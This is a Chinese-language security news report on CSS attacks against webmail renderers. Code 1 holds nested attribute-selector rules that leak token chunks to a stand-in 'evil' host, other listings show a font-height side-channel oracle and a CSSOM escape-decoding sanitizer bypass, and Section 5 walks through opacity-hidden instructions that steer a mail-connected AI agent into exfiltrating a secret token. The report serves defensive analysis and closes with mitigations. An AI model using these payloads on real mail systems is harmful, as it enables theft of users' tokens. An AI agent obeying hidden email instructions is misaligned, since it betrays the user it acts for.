摘要

報告探討一系列針對網頁郵件繪製管道揭露的 CSS 攻擊技術,重點關注三種機制:屬性選擇器 Token 外洩、在嚴格的內容安全政策(Content-Security-Policy, CSP)限制下的動畫驅動旁道預言機(Animation-driven side-channel oracle),以及 CSSOM 層級的淨化器變異。報告進一步分析如何將純 CSS 文字隱藏技術武器化,以對 AI 瀏覽代理程式進行間接提示注入 [1]

你的淨化器被 CSSOM 出賣了?選擇器注入與內容注入的完美配合讓防線崩潰! | 資訊安全新聞

1. 簡介

網頁郵件繪製引擎面臨結構性的兩難:郵件寄件者提供的未受信任 HTML/CSS 必須顯示在使用者介面中,而該介面同時也託管著受信任且具備權限的控制項。為了解決此問題,服務供應商會套用 CSS 淨化器,其可能作用於原始 Markup 字串,也可能在瀏覽器解析後作用於 CSSOM。兩種做法都假設「看起來安全」的輸入在整個解析到繪製的管道中始終保持安全。原始文章 [1] 證明此假設在幾個獨立的方面會失效:CSS 選擇器語言本身具有足夠的表達能力,能在沒有 JavaScript 的情況下洩漏資料;CSP 並不能阻止那些依靠版面配置測量(而非網路請求)的資料外洩通道;且瀏覽器可能在淨化器檢查 CSS text 與實際繪製之間,默默地轉換 CSS text(例如解碼十六進位跳脫字元)。

2. 屬性選擇器 Token 外洩

第一種機制濫用 CSS 屬性選擇器( ^= $= *= )結合原生 CSS 巢狀結構,以暴力破解方式嘗試錨點(anchor) href 中嵌入的 Token 子字串。對 12 個字元的十六進位 Token 進行暴力破解,會需要數量龐大且難以管理的 CSS,因為每個候選子字串都需要自己的選擇器區塊。巢狀結構透過將共享的前綴選擇器提取出來一次,僅變動內部匹配條件來解決此問題:

  1. /* Outer selector matches once: any anchor whose href begins with the */
  2. /* known callback URL. This prefix is emitted ONE time, not per guess. */
  3. a[href^="https://medium.com/m/callback/email?token="] {
  4. /* --- Phase 1: recover the first 5 hex chars of the token --- */
  5. /* Each nested rule re-uses the parent match and only tests one */
  6. /* 5-character guess following "token=". Only the TRUE guess causes */
  7. /* the background image request below to fire. */
  8. &[href*="en=00000"] { background:url("//evil/?start=00000"); }
  9. &[href*="en=00001"] { background:url("//evil/?start=00001"); }
  10. /* ... one rule per hex prefix candidate ... */
  11. &[href*="en=c2e16"] { background:url("//evil/?start=c2e16"); }
  12. /* --- Phase 2: recover the last 5 hex chars of the token --- */
  13. /* Suffix candidates are anchored against the parameter delimiter "&o" */
  14. /* so a match only fires when the guess sits at the token's tail. */
  15. &[href*="00001&o"] { background:url("//evil/?end=00001"); }
  16. &[href*="a1781&o"] { background:url("//evil/?end=a1781"); }
  17. }

程式碼 1 — 巢狀屬性選擇器外洩。

由於完整的 12 字元暴力破解不可行,此技術直接復原 Token 的第一個和最後五個字元,並透過在 URL 中任何位置請求重疊的 5 字元區塊,然後比對復原的前綴和後綴,在伺服器端重建中間的兩個字元。每個匹配的規則會恰好產生一個由 CSS 觸發的背景圖片請求,這為攻擊者的伺服器提供了每個猜測的布林預言(boolean oracle),且無需在受害者端執行任何 JavaScript。

sequenceDiagram participant B as Webmail Renderer participant S as CSS Sanitizer participant A as Attacker Server Note over B,S: Email contains nested attribute-selector CSS S->>S: Inspects selectors, treats attribute matching as passive S-->>B: Approves scoped [href*="..."] rules as safe B->>B: Browser evaluates each nested rule against the anchor's href alt guess substring is present in href B->>A: GET background-image (leaks matched 5-char chunk) else guess absent Note over B: no request emitted, rule simply does not match end A->>A: Concatenates start + end, brute forces 2 middle chars offline

圖 1 — 巢狀屬性選擇器 Token 外洩的請求流程。

3. 在嚴格 CSP 下的字型高度預言(Font-Height Oracle)外洩

當 CSP 封鎖所有外部資源,完全移除 background:url() 這個管道時,會出現更嚴格的場景。原始文章顯示,嵌入為純文字的數字 Token 仍然可以透過測量繪製後元素的高度而非發出網路請求來進行外洩。每個數字的 @font-face 規則會逐一放大特定 Unicode 碼位(code point)的字形:

  1. /* Registers a variant font that is applied only to the character U+0030 */
  2. /* ("0"). descent-override inflates its rendered box height, giving an */
  3. /* observable size delta whenever a "0" is present and this variant */
  4. /* font-family is active on that text node. */
  5. @font-face {
  6. font-family: has_0;
  7. src: local('Courier New');
  8. unicode-range: U+0030; /* restricts the override to the digit "0" */
  9. descent-override: 200%; /* the actual height-inflation side channel */
  10. }
  1. /* Keyframes cycle the exfiltration font on and off across the token's */
  2. /* digits. The 5% step resets to a neutral font, creating a clean gap */
  3. /* so consecutive same-digit measurements do not blur together. */
  4. @keyframes iterate {
  5. 0% { font-family: has_0; --flag:"Zero"; }
  6. 5% { font-family: arial; --flag:""; }
  7. 10% { font-family: has_1; --flag:"One"; }
  8. /* ... one 0%-10% pair per digit 0-9 ... */
  9. }

程式碼 2 — 字型高度預言建構。

測量的高度除以已知的每個數字高度增量(透過 calc(round(...)) ),即可得出該數字在 Token 中出現的頻率。 --flag 客製化屬性將每個測得的頻率連結回產生它的數字。一旦得知每個數字的頻率,就會使用 CSS 的 inset 屬性,將恰好一個符合完整數字-頻率特徵的候選連結放大至全螢幕覆蓋,同時將其他所有候選連結推到螢幕外,如此一來,對該郵件的單次點擊就會揭露實際存在的 Token。此管道之所以重要,是因為它既不需要 JavaScript,也不需要 CSP 可以攔截的對外網路操作(Primitive) —— 「洩漏」完全發生在版面幾何測量上,而 CSP 沒有機制可以限制這點。

4. CSSOM 變異作為淨化器繞過

當網頁郵件用戶端在原始碼層級過濾 CSS 時,可以精心建構跳脫字元和註解,使其被淨化器誤解。當用戶端改為在瀏覽器解析樣式表後讀取 CSSOM(以過濾瀏覽器「實際繪製」的內容)時,會出現另一類型的錯誤:CSSOM getter 本身可能會默默地解碼跳脫序列,產生淨化器從未實際驗證過的文字。

  1. /* BEFORE mutation: sanitizer inspects and approves this identifier. */
  2. /* \7d and \2a are CSS hex escapes for "}" and "*" respectively - */
  3. /* at the source-text level this looks like an ordinary keyframe name. */
  4. @keyframes foo\7d\2a {
  5. color:red
  6. }
  7. /* AFTER mutation: when Fastmail reads the rule back via the CSSOM */
  8. /* (rule.name / cssText), Chrome decodes the escapes into literal */
  9. /* characters. The keyframe name silently becomes a rule-closing brace */
  10. /* followed by a universal selector, breaking out of the @keyframes */
  11. /* block and injecting an attacker-controlled ruleset. */
  12. @keyframes foo } * {
  13. color:red
  14. }

程式碼 3 — 跳脫解碼的 CSSOM 變異。

一個相關的錯誤影響了在重新序列化 @media 規則以進行輸出過濾時所使用的 mediaText getter:

  1. /* VULNERABLE: the media query's decoded text is pushed straight into */
  2. /* the output stream with no re-validation, so any characters that were */
  3. /* hex-escaped in the source (and therefore looked safe to the */
  4. /* sanitizer) reappear here as raw, unfiltered syntax. */
  5. case MEDIA_RULE:
  6. lastStyleText = null;
  7. _output.push('@media ');
  8. _output.push(rule.media.mediaText /* ...unfiltered... */ );
  9. /* FIXED: the same decoded text is re-checked against an allow-list of */
  10. /* characters before being emitted; any media query containing a */
  11. /* character outside [A-Za-z0-9:,.()_-/] is dropped entirely rather */
  12. /* than trusted a second time. */
  13. const mediaText = rule.media.mediaText;
  14. if (/[^A-Za-z0-9:,.()_\-\/]/.test(mediaText)) {
  15. continue;
  16. }
  17. _output.push('@media ');
  18. _output.push(mediaText /* ...now re-validated... */ );

程式碼 4 — 有漏洞的與已修補的 mediaText 處理方式對比。

此處的結構性教訓是,使用 CSSOM 建構的淨化器隱含地信任瀏覽器的解析器兩次:一次用於建構樹狀結構,另一次用於將其序列化回來以供檢查。第二個步驟中任何有損或轉換的行為(跳脫解碼即為一個有紀錄的案例 [2] )都會重新打開 CSSOM 方法原本試圖關閉的那一類差異。這在概念上與 HTML 淨化器中長期記錄的解析/序列化往返問題(mutation XSS)相同 [3] ,只是這裡發生在更底層,且是在純 CSS 過濾的脈絡中。

5. CSS 隱藏文字與間接提示注入

:before / :after 偽元素接受任意的 content 字串,並繼承宿主元素(Host element)的點擊處理器。結合接近於零的 opacity ,它們讓攻擊者能同時呈現兩種不同的訊息:一種是人類可見的無害訊息,另一種則是純粹以生成內容注入的訊息,後者會被讀取繪製後 DOM 文字而非視覺版面的 AI 代理程式擷取。

  1. /* The visible text (e.g. a short phrase in another language) sits in */
  2. /* the normal document flow and is what the human recipient sees. */
  3. /* The injected instructions live in a sibling block reduced to */
  4. /* near-zero opacity - invisible to the eye, but still present as */
  5. /* ordinary text nodes that an AI reader will ingest verbatim. */
  6. #x:before {
  7. content: "Visible prompt text shown to the human reader.";
  8. font-weight: bold;
  9. font-size: 20px;
  10. }
  1. <div id="x"></div>
  2. <!-- opacity near zero: invisible on screen, fully legible to a DOM/text-based reader -->
  3. <div style="opacity: 0.00000001">
  4. <h1>Hidden instruction block consumed only by an automated reader</h1>
  5. </div>

程式碼 5 — 用於間接提示注入的 CSS 視覺/語意內容分割。

原始來源將此隱藏技術與圖片代理(Image-proxy)繞過( background:image-set(var(--x,'//host')) ,僅在客製化屬性未定義時會降級至攻擊者 URL)結合,透過具有信箱存取權限的 AI 編碼/瀏覽代理程式來路由資料外洩 Payload。這類隱藏指令攻擊與更廣泛的發現一致,這些發現涉及透過低可見度文字擾動來規避護欄,並在獨立分析中討論了字元層級的提示注入繞過以及代理工具協定中的信任邊界濫用(參見前期文章 對字元注入護欄繞過的分析 以及 對 MCP 連接工具中提示注入的概述 )。

sequenceDiagram participant U as Victim agent user participant AI as Mail-connected AI agent participant M as Webmail image-proxy participant A as Attacker Server U->>AI: Go through inbox and action this request AI->>AI: Reads attacker email, opacity-hidden block supplies instructions AI->>AI: Locates secret token in an unrelated legitimate email AI->>M: Composes draft embedding token inside an image-set fallback value Note over M: Sanitizer only validates the safe fallback string, not the resolved value U->>M: Opens the drafted reply to review it M->>A: Background request fires once the fallback variable resolves A-->>A: Logs exfiltrated token from the request

圖 2 — 間接提示注入與圖片代理繞過串聯,透過 AI 郵件代理外洩秘密 Token,根據來源中的 Cowork/Gmail 案例研究重建 [1]

6. 防禦面的影響

根據上述機制,可以直接推導出幾項緩解措施。在沙箱化的 iframe 中繪製未受信任的訊息,可以移除屬性選擇器外洩、CSS 小工具和劫持(hotwiring)所依賴的共用 DOM 信任邊界。建構於 CSSOM 的淨化器必須根據嚴格的允許字元清單重新驗證序列化後的輸出,而非信任單次解析傳遞,因為在檢查與繪製之間,跳脫解碼可能悄然發生。圖片代理應拒絕 image-set() background 內部帶有降級備案的功能性值(例如 var() ),並且應普遍套用,而非僅套用於允許清單中的部分網域。最後,允許 AI 根據郵件內容採取行動的代理型郵件用戶端,應將 DOM 文字和繪製後的視覺內容視為兩個獨立且互不信任的輸入,因為兩者之間的差異正是間接提示注入所利用的點。

7. 結論

在所有三種基本攻擊手法中 — 利用選擇器的 Token 外洩、能夠規避 CSP 的利用版面的 side channel,以及 CSSOM 重新序列化變異 — 共同的失敗模式是淨化器驗證了 CSS 的某一種表示形式,而瀏覽器卻繪製了另一種經過轉換的表示形式。同樣的差異模式,延伸到內容層(透過 :before / :after ),足以誤導代表使用者讀取繪製後 DOM 文字的 AI 代理程式,這表明純 CSS 的攻擊面現在已從人類視覺管道擴展到同一份文件的機器閱讀詮釋。